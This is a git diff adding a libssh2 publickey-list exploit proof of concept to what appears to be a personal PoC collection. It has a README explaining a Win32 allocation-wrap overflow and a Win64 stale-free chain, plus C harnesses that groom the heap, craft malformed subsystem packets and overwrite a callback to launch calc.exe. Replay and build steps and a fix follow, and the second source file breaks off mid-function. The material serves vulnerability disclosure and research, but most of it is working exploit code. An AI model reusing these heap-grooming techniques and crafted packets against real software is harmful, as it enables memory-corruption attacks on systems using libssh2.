diff --git a/README.md b/README.md index 9639f98..734f617 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 | | `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 | | `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 | +| `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 | | `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 | | `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 | | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | @@ -40,7 +41,7 @@ This section applies to the former standalone repositories listed above by commi The consolidation was checked from fresh GitHub clones on June 23, 2026 before the old standalone repos were removed. -The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data, not a loose filesystem diff. For every tracked entry, the check required: +The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data rather than a loose filesystem diff. For every tracked entry, the check required: - the same relative path; - the same Git object type; @@ -49,6 +50,6 @@ The check compared each former standalone repo's `HEAD` tree against the matchin Matching Git blob IDs means the tracked file bytes are identical. The check covered 12 repos and 96 tracked entries with zero mismatches. -This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders. +This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/libssh2-publickey-list-calc-poc/README.md b/libssh2-publickey-list-calc-poc/README.md new file mode 100644 index 0000000..ccc1d99 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/README.md @@ -0,0 +1,206 @@ +# libssh2 publickey list calc PoCs + +Windows calc payload proofs for the libssh2 publickey subsystem list parser. + +Verified target: + +```text +libssh2/libssh2 master +e75b4bae3c68a9bde71de1fb6b0fba5b0c716020 +2026-06-24 +``` + +## Summary + +`libssh2_publickey_list_fetch()` accepts a stream of publickey-subsystem response packets and grows an array of `libssh2_publickey_list` entries as `publickey` responses arrive. + +Two exploit paths are included: + +```text +Win32 allocation-wrap chain +num_attrs * sizeof(libssh2_publickey_attribute) wraps to a 4-byte allocation. +The attribute parser then writes attacker-controlled fields past the tiny attrs buffer. +The harness grooms an adjacent callback slot and launches calc from the overwritten callback. + +Win64 publickey-list cleanup chain +A recognized but unexpected version response frees an attacker-shaped response buffer. +A malformed publickey response then grows the list allocation into that same heap slot. +Cleanup walks attacker-shaped list entries and frees attacker-selected attrs pointers. +The harness routes libssh2 allocation callbacks through a tracked fail-closed heap wrapper, +reclaims the freed victim object, and launches calc through a stale callback. +``` + +The fixed controls used by the checked binaries are: + +```text +zero list[keys] immediately after list growth +reject num_attrs values that overflow the attrs allocation multiplication +``` + +## Files + +```text +poc/publickey_win32_heap_groom_calc_repro.c +poc/publickey_win32_heap_groom_calc_repro.exe +poc/publickey_win32_heap_groom_calc_repro_checked.exe +poc/publickey_win64_arbitrary_free_calc_repro.c +poc/publickey_win64_arbitrary_free_calc_repro.exe +poc/publickey_win64_arbitrary_free_calc_repro_checked.exe +replay-calc-poc.ps1 +evidence/2026-06-25-local-calc-replay.txt +SHA256SUMS.txt +``` + +The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit. + +## Quick replay + +Run on Windows: + +```powershell +.\replay-calc-poc.ps1 +``` + +Expected proof signals: + +```text +x86_vulnerable_calc=hit +calc_launch=success +x86 calc payload reached +x86_checked_calc=no_hit + +x64_vulnerable_calc_exit=77 +victim_freed=1 +same_as_victim=1 +calc_launch=success +x64 calc payload reached +x64_checked_calc_exit=0 +victim_freed=0 +safe_callback_reached +``` + +The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree. + +## Win32 chain + +The 32-bit structure size gives a direct allocation-wrap primitive: + +```text +sizeof(libssh2_publickey_attribute) = 20 +num_attrs = 0x0ccccccd +0x0ccccccd * 20 = 0x100000004 +32-bit allocation size = 4 +``` + +The response packet carries a normal `publickey` response header, small key name/blob strings, and a huge `num_attrs`. Once the attrs allocation wraps to four bytes, the parser enters the attribute loop and writes: + +```text +name_len +name pointer +value_len +value pointer +mandatory byte +``` + +The harness arranges a victim word near the tiny allocation. The overflow replaces that victim word with the callback address. The callback then launches calc. + +Representative replay: + +```text +attrs_alloc requested=4 ptr=0153a280 msize=4 +victim[4064]=0153a2c0 delta=64 word=009c150d +marker_function_reached address=009c150d +calc_launch=success +``` + +The checked Win32 binary rejects the oversized attribute count before allocation, so the overwritten callback path stays unreachable. + +## Win64 chain + +The 64-bit structure size removes the tiny allocation wrap for the same value. The useful Win64 primitive comes from the list cleanup path. + +Relevant source shape: + +```text +list grows with SSH2_REALLOC() +new list entry remains uninitialized before parsing finishes +unexpected recognized version response is freed and parsing continues +malformed publickey response forces the error path +libssh2_publickey_list_free() trusts packet and attrs until a sentinel is found +``` + +The harness sends: + +```text +version groom response sized like the future list allocation +malformed publickey response +``` + +The groom response places the victim object pointer at the `attrs` offset of the first future list entry. The malformed response makes parsing fail before the new entry and sentinel are initialized. Cleanup then frees the victim through the attacker-shaped `attrs` field. + +The harness uses libssh2 custom allocator callbacks backed by a tracked fail-closed heap wrapper. That wrapper accepts the valid victim free, ignores an unrelated invalid packet free, and leaves the process alive long enough for the stale object to be reclaimed. A same-size allocation then lands on the freed victim slot and installs the calc callback. + +Representative replay: + +```text +free ptr=000001DE60380860 +free_ignored_unknown ptr=000001DE60380150 +fetch rc=-1 num_keys=0 victim_freed=1 heap_free_failures=1 +replacement=000001DE60380860 same_as_victim=1 +calc_payload_reached callback=00007FF76A5118A5 +calc_launch=success +``` + +The checked Win64 binary zeroes the grown list entry before parsing, so cleanup frees the actual response/list allocations and the stale victim callback remains unchanged. + +## Affected code areas + +```text +src/publickey.c:895-908 +list growth with SSH2_REALLOC() + +src/publickey.c:1049-1053 +attrs allocation uses num_attrs * sizeof(libssh2_publickey_attribute) + +src/publickey.c:1060-1110 +attribute loop writes fields into attrs[i] + +src/publickey.c:1123-1128 +unexpected recognized response frees listFetch_data and continues + +src/publickey.c:1138-1139 +error path frees the partially built list + +src/publickey.c:1158-1161 +list_free trusts packet and attrs fields until a sentinel entry +``` + +## Rebuild notes + +The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant. + +Equivalent source build shape: + +```powershell +x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt + +x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt + +i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt + +i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt +``` + +## Fix shape + +The parser hardening is compact: + +```text +After list growth succeeds: +memset(&list[keys], 0, sizeof(list[keys])) + +Before attrs allocation: +if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response +``` + +These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries. diff --git a/libssh2-publickey-list-calc-poc/SHA256SUMS.txt b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..5b0a04a --- /dev/null +++ b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt @@ -0,0 +1,9 @@ +1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt +641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c +52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe +4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe +D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c +B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe +D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe +A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md +2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1 diff --git a/libssh2-publickey-list-calc-poc/evidence/2026-06-25-local-calc-replay.txt b/libssh2-publickey-list-calc-poc/evidence/2026-06-25-local-calc-replay.txt new file mode 100644 index 0000000..c52eb39 Binary files /dev/null and b/libssh2-publickey-list-calc-poc/evidence/2026-06-25-local-calc-replay.txt differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c new file mode 100644 index 0000000..5ff335f --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c @@ -0,0 +1,448 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "libssh2_priv.h" +#include "libssh2_publickey.h" +#include "channel.h" + +#define PAIRS 4096 +#define VICTIM_SIZE 4 +#define DEFAULT_MARKER_VALUE 0x41424344UL +#define DEFAULT_TARGET_INDEX (PAIRS - 8) + +static unsigned char wire[4096]; +static size_t wire_len; +static size_t wire_off; +static void *small_chunks[PAIRS]; +static void *fillers[PAIRS][3]; +static unsigned char *victims[PAIRS]; +static void *attrs_ptr; +static size_t attrs_msize; +static int terminal_attr = 0; +static char terminal_field = 'n'; +static uint32_t marker_value = DEFAULT_MARKER_VALUE; +static int call_mode; +static int target_index = DEFAULT_TARGET_INDEX; +static int private_heap_mode; +static HANDLE proof_heap; + +static void reached_marker(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("x86_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("x86 calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "marker_function_reached address=%p\n", reached_marker); + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, + &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + ExitProcess(77); +} + +static void *proof_malloc(size_t size) +{ + if(private_heap_mode) + return HeapAlloc(proof_heap, 0, size ? size : 1); + return malloc(size ? size : 1); +} + +static void *proof_calloc(size_t size) +{ + void *ptr = proof_malloc(size); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static void proof_free(void *ptr) +{ + if(private_heap_mode) + HeapFree(proof_heap, 0, ptr); + else + free(ptr); +} + +static void *proof_realloc(void *ptr, size_t size) +{ + if(!ptr) + return proof_malloc(size); + if(private_heap_mode) + return HeapReAlloc(proof_heap, 0, ptr, size ? size : 1); + return realloc(ptr, size ? size : 1); +} + +static size_t proof_msize(void *ptr) +{ + if(private_heap_mode) { + SIZE_T size = HeapSize(proof_heap, 0, ptr); + return size == (SIZE_T)-1 ? 0 : (size_t)size; + } + return _msize(ptr); +} + +static LIBSSH2_ALLOC_FUNC(heap_alloc) +{ + void *ptr; + + (void)abstract; + if(count == 4) + ptr = proof_malloc(count); + else + ptr = proof_calloc(count); + if(count == 4) { + attrs_ptr = ptr; + attrs_msize = ptr ? proof_msize(ptr) : 0; + fprintf(stderr, "attrs_alloc requested=%lu ptr=%p msize=%lu\n", + (unsigned long)count, ptr, (unsigned long)attrs_msize); + } + return ptr; +} + +static LIBSSH2_FREE_FUNC(heap_free) +{ + (void)abstract; + if(ptr == attrs_ptr) + return; + proof_free(ptr); +} + +static LIBSSH2_REALLOC_FUNC(heap_realloc) +{ + void *newptr; + + (void)abstract; + if(!ptr) + return heap_alloc(count, abstract); + newptr = proof_realloc(ptr, count); + return newptr; +} + +int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg) +{ + if(session) { + session->err_code = errcode; + session->err_msg = (char *)errmsg; + } + return errcode; +} + +int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg, + int errflags) +{ + (void)errflags; + return ssh2_err(session, errcode, errmsg); +} + +uint32_t ssh2_ntohu32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | (uint32_t)buf[3]; +} + +void ssh2_htonu32(unsigned char *buf, uint32_t value) +{ + buf[0] = (unsigned char)(value >> 24); + buf[1] = (unsigned char)(value >> 16); + buf[2] = (unsigned char)(value >> 8); + buf[3] = (unsigned char)value; +} + +void ssh2_store_u32(unsigned char **buf, uint32_t value) +{ + ssh2_htonu32(*buf, value); + *buf += 4; +} + +int ssh2_store_str(unsigned char **buf, const char *str, size_t len) +{ + ssh2_store_u32(buf, (uint32_t)len); + memcpy(*buf, str, len); + *buf += len; + return 0; +} + +ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id, + const unsigned char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + (void)buf; + return (ssize_t)buflen; +} + +ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id, + char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + if(wire_off + buflen > wire_len) + return -1; + memcpy(buf, wire + wire_off, buflen); + wire_off += buflen; + return (ssize_t)buflen; +} + +int ssh2_channel_free(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int ssh2_channel_close(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int libssh2_session_last_errno(LIBSSH2_SESSION *session) +{ + return session ? session->err_code : 0; +} + +int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time) +{ + (void)session; + (void)start_time; + return 0; +} + +LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session, + const char *channel_type, + uint32_t channel_type_len, + uint32_t window_size, + uint32_t packet_size, + const unsigned char *message, + size_t message_len) +{ + (void)session; + (void)channel_type; + (void)channel_type_len; + (void)window_size; + (void)packet_size; + (void)message; + (void)message_len; + return NULL; +} + +int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel, + const char *request, size_t request_len, + const char *message, size_t message_len) +{ + (void)channel; + (void)request; + (void)request_len; + (void)message; + (void)message_len; + return LIBSSH2_ERROR_SOCKET_NONE; +} + +int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode) +{ + (void)channel; + (void)ignore_mode; + return 0; +} + +void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size) +{ + void *ptr = heap_alloc(size, session ? session->abstract : NULL); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static unsigned char *put_string(unsigned char *p, const char *s) +{ + size_t len = strlen(s); + ssh2_store_u32(&p, (uint32_t)len); + memcpy(p, s, len); + return p + len; +} + +static unsigned char *put_response(unsigned char *w, unsigned char *payload, + size_t payload_len) +{ + ssh2_htonu32(w, (uint32_t)payload_len); + memcpy(w + 4, payload, payload_len); + return w + 4 + payload_len; +} + +static void build_attr_spray_response(void) +{ + unsigned char payload[3072]; + unsigned char status[64]; + unsigned char *p = payload; + unsigned char *s = status; + unsigned char *w = wire; + uint32_t attr_size = (uint32_t)sizeof(libssh2_publickey_attribute); + uint32_t num_attrs = (uint32_t)((0x100000000ULL / attr_size) + 1); + int i; + + p = put_string(p, "publickey"); + p = put_string(p, "n"); + p = put_string(p, "b"); + ssh2_store_u32(&p, num_attrs); + for(i = 0; i < 80; i++) { + if(i == terminal_attr && terminal_field == 'n') { + ssh2_store_u32(&p, marker_value); + break; + } + else + ssh2_store_u32(&p, 0); + if(i == terminal_attr && terminal_field == 'v') { + ssh2_store_u32(&p, marker_value); + break; + } + else + ssh2_store_u32(&p, 0); + } + w = put_response(w, payload, (size_t)(p - payload)); + + s = put_string(s, "status"); + ssh2_store_u32(&s, 0); + ssh2_store_u32(&s, 0); + ssh2_store_u32(&s, 0); + w = put_response(w, status, (size_t)(s - status)); + + wire_len = (size_t)(w - wire); + fprintf(stderr, "attr_size=%lu num_attrs=0x%08lx wrapped=%lu wire=%lu\n", + (unsigned long)attr_size, (unsigned long)num_attrs, + (unsigned long)(num_attrs * attr_size), + (unsigned long)wire_len); +} + +static void groom_heap(void) +{ + int i; + + for(i = 0; i < PAIRS; i++) { + small_chunks[i] = proof_malloc(4); + fillers[i][0] = proof_malloc(4); + fillers[i][1] = proof_malloc(4); + fillers[i][2] = proof_malloc(4); + victims[i] = proof_malloc(VICTIM_SIZE); + memset(victims[i], 0x45, VICTIM_SIZE); + *(uint32_t *)(victims[i] + 0) = 0xfeedfaceUL; + } + if(target_index < 0 || target_index >= PAIRS) + target_index = DEFAULT_TARGET_INDEX; + free(small_chunks[target_index]); + fprintf(stderr, "target_index=%d freed_small=%p victim=%p expected_delta=%ld\n", + target_index, small_chunks[target_index], victims[target_index], + (long)(victims[target_index] - + (unsigned char *)small_chunks[target_index])); +} + +static int scan_victims(void) +{ + int i; + int hits = 0; + int marker_hits = 0; + + for(i = 0; i < PAIRS; i++) { + int changed = 0; + if(*(uint32_t *)(victims[i] + 0) != 0xfeedfaceUL) + changed = 1; + if(changed) { + intptr_t delta = attrs_ptr ? + (intptr_t)(victims[i] - (unsigned char *)attrs_ptr) : 0; + fprintf(stderr, "victim[%d]=%p delta=%ld word=%08lx\n", + i, victims[i], (long)delta, + (unsigned long)*(uint32_t *)(victims[i] + 0)); + if(*(uint32_t *)(victims[i] + 0) == marker_value) { + marker_hits++; + if(call_mode) { + void (*fn)(void) = + (void (*)(void))(*(uintptr_t *)(victims[i] + 0)); + fn(); + } + } + hits++; + if(hits >= 8) + break; + } + } + fprintf(stderr, "marker_hits=%d\n", marker_hits); + return marker_hits; +} + +int main(int argc, char **argv) +{ + LIBSSH2_SESSION session; + LIBSSH2_CHANNEL channel; + LIBSSH2_PUBLICKEY pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + int rc; + int hits; + + if(argc > 1) + terminal_attr = atoi(argv[1]); + if(argc > 2 && argv[2][0]) + terminal_field = argv[2][0]; + { + int argi; + for(argi = 3; argi < argc; argi++) { + if(!strcmp(argv[argi], "call")) { + call_mode = 1; + marker_value = (uint32_t)(uintptr_t)reached_marker; + } + else if(!strcmp(argv[argi], "private")) + private_heap_mode = 1; + else + target_index = atoi(argv[argi]); + } + } + + if(private_heap_mode) { + proof_heap = HeapCreate(0, 0, 0); + if(!proof_heap) + return 2; + } + + fprintf(stderr, "terminal_attr=%d terminal_field=%c marker=0x%08lx target_index=%d heap=%s\n", + terminal_attr, terminal_field, (unsigned long)marker_value, + target_index, private_heap_mode ? "private" : "crt"); + + memset(&session, 0, sizeof(session)); + memset(&channel, 0, sizeof(channel)); + memset(&pkey, 0, sizeof(pkey)); + + session.alloc = heap_alloc; + session.free = heap_free; + session.realloc = heap_realloc; + channel.session = &session; + pkey.channel = &channel; + pkey.version = 2; + + groom_heap(); + build_attr_spray_response(); + rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list); + hits = scan_victims(); + fprintf(stderr, "return rc=%d num_keys=%lu list=%p hits=%d attrs_ptr=%p msize=%lu\n", + rc, num_keys, list, hits, attrs_ptr, (unsigned long)attrs_msize); + return hits ? 77 : 1; +} diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe new file mode 100644 index 0000000..cf8180c Binary files /dev/null and b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe new file mode 100644 index 0000000..fcd6138 Binary files /dev/null and b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c new file mode 100644 index 0000000..4265d98 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c @@ -0,0 +1,410 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "libssh2_priv.h" +#include "libssh2_publickey.h" +#include "channel.h" + +struct victim { + void (*cb)(void); + unsigned char pad[120]; +}; + +#define MAX_RECORDS 8192 + +struct alloc_record { + void *ptr; + int live; +}; + +static HANDLE app_heap; +static unsigned char wire[131072]; +static size_t wire_len; +static size_t wire_off; +static struct victim *stale_victim; +static void *small_guard; +static int victim_freed; +static int launch_real_calc; +static unsigned long heap_free_failures; +static struct alloc_record records[MAX_RECORDS]; + +static void track_ptr(void *ptr) +{ + size_t i; + if(!ptr) + return; + for(i = 0; i < MAX_RECORDS; i++) { + if(!records[i].live) { + records[i].ptr = ptr; + records[i].live = 1; + return; + } + } +} + +static int untrack_ptr(void *ptr) +{ + size_t i; + for(i = 0; i < MAX_RECORDS; i++) { + if(records[i].live && records[i].ptr == ptr) { + records[i].live = 0; + return 1; + } + } + return 0; +} + +static void safe_callback(void) +{ + fprintf(stderr, "safe_callback_reached\n"); +} + +static void launch_calc_callback(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("x64_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("x64 calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "calc_payload_reached callback=%p\n", + launch_calc_callback); + + if(launch_real_calc) { + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, + &si, &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + } + + ExitProcess(77); +} + +static void *app_alloc_raw(size_t size) +{ + void *ptr = HeapAlloc(app_heap, 0, size ? size : 1); + track_ptr(ptr); + return ptr; +} + +static void app_free_raw(void *ptr) +{ + if(ptr) { + if(!untrack_ptr(ptr)) { + heap_free_failures++; + fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr); + return; + } + if(HeapFree(app_heap, 0, ptr)) { + if(ptr == stale_victim) + victim_freed = 1; + } + else { + heap_free_failures++; + fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr, + (unsigned long)GetLastError()); + } + } +} + +static LIBSSH2_ALLOC_FUNC(app_alloc) +{ + void *ptr; + (void)abstract; + ptr = app_alloc_raw(count); + fprintf(stderr, "alloc size=%llu ptr=%p\n", + (unsigned long long)(count ? count : 1), ptr); + return ptr; +} + +static LIBSSH2_FREE_FUNC(app_free) +{ + (void)abstract; + fprintf(stderr, "free ptr=%p\n", ptr); + app_free_raw(ptr); +} + +static LIBSSH2_REALLOC_FUNC(app_realloc) +{ + void *newptr; + (void)abstract; + if(!ptr) + return app_alloc(count, abstract); + newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1); + if(newptr) { + untrack_ptr(ptr); + track_ptr(newptr); + } + fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr, + (unsigned long long)(count ? count : 1), newptr); + return newptr; +} + +int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg) +{ + if(session) { + session->err_code = errcode; + session->err_msg = (char *)errmsg; + } + return errcode; +} + +int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg, + int errflags) +{ + (void)errflags; + return ssh2_err(session, errcode, errmsg); +} + +uint32_t ssh2_ntohu32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | (uint32_t)buf[3]; +} + +void ssh2_htonu32(unsigned char *buf, uint32_t value) +{ + buf[0] = (unsigned char)(value >> 24); + buf[1] = (unsigned char)(value >> 16); + buf[2] = (unsigned char)(value >> 8); + buf[3] = (unsigned char)value; +} + +void ssh2_store_u32(unsigned char **buf, uint32_t value) +{ + ssh2_htonu32(*buf, value); + *buf += 4; +} + +int ssh2_store_str(unsigned char **buf, const char *str, size_t len) +{ + ssh2_store_u32(buf, (uint32_t)len); + memcpy(*buf, str, len); + *buf += len; + return 0; +} + +ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id, + const unsigned char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + (void)buf; + return (ssize_t)buflen; +} + +ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id, + char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + if(wire_off + buflen > wire_len) + return -1; + memcpy(buf, wire + wire_off, buflen); + wire_off += buflen; + return (ssize_t)buflen; +} + +int ssh2_channel_free(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int ssh2_channel_close(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int libssh2_session_last_errno(LIBSSH2_SESSION *session) +{ + return session ? session->err_code : 0; +} + +int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time) +{ + (void)session; + (void)start_time; + return 0; +} + +LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session, + const char *channel_type, + uint32_t channel_type_len, + uint32_t window_size, + uint32_t packet_size, + const unsigned char *message, + size_t message_len) +{ + (void)session; + (void)channel_type; + (void)channel_type_len; + (void)window_size; + (void)packet_size; + (void)message; + (void)message_len; + return NULL; +} + +int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel, + const char *request, size_t request_len, + const char *message, size_t message_len) +{ + (void)channel; + (void)request; + (void)request_len; + (void)message; + (void)message_len; + return LIBSSH2_ERROR_SOCKET_NONE; +} + +int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode) +{ + (void)channel; + (void)ignore_mode; + return 0; +} + +void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size) +{ + void *ptr = app_alloc(size, session ? session->abstract : NULL); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static unsigned char *put_string(unsigned char *p, const char *s) +{ + size_t len = strlen(s); + ssh2_store_u32(&p, (uint32_t)len); + memcpy(p, s, len); + return p + len; +} + +static void append_version_groom(uintptr_t attrs_ptr) +{ + size_t payload_len = 9 * sizeof(libssh2_publickey_list); + unsigned char *start = wire + wire_len; + unsigned char *payload = start + 4; + unsigned char *p; + + ssh2_htonu32(start, (uint32_t)payload_len); + memset(payload, 0, payload_len); + p = put_string(payload, "version"); + memset(p, 0, payload_len - (size_t)(p - payload)); + memcpy(payload + offsetof(libssh2_publickey_list, attrs), + &attrs_ptr, sizeof(attrs_ptr)); + wire_len += 4 + payload_len; +} + +static void append_malformed_publickey(void) +{ + unsigned char payload[64]; + unsigned char *p = payload; + + p = put_string(p, "publickey"); + p = put_string(p, "n"); + *p++ = 0; + ssh2_htonu32(wire + wire_len, (uint32_t)(p - payload)); + memcpy(wire + wire_len + 4, payload, (size_t)(p - payload)); + wire_len += 4 + (size_t)(p - payload); +} + +static int run_once(void) +{ + LIBSSH2_SESSION session; + 